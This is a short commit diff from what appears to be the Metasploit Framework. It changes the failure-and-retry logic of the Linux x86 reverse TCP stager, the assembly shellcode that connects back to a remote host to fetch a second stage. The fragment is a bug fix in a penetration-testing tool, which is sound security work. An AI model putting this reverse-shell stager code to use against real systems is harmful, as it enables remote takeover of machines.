Land #8848, fix extra sleep on linux x86 stager

2017-08-19 22:12:19 -05:00 · 2017-08-19 22:12:19 -05:00 · 6afd90b7f0
parent e8ab518d76 74f89857d8
commit 6afd90b7f0
1 changed files with 3 additions and 3 deletions
--- a/lib/msf/core/payload/linux/reverse_tcp.rb
+++ b/lib/msf/core/payload/linux/reverse_tcp.rb
@ -123,6 +123,8 @@ module Payload::Linux::ReverseTcp_x86
        jns mprotect

      handle_failure:
+        dec esi
+        jz failed
        push 0xa2
        pop eax
        push 0x#{sleep_nanoseconds.to_s(16)}
@ -131,9 +133,7 @@ module Payload::Linux::ReverseTcp_x86
        xor ecx, ecx
        int 0x80                   ; sys_nanosleep
        test eax, eax
-        js failed
-        dec esi
-        jnz create_socket
+        jns create_socket
        jmp failed
    ^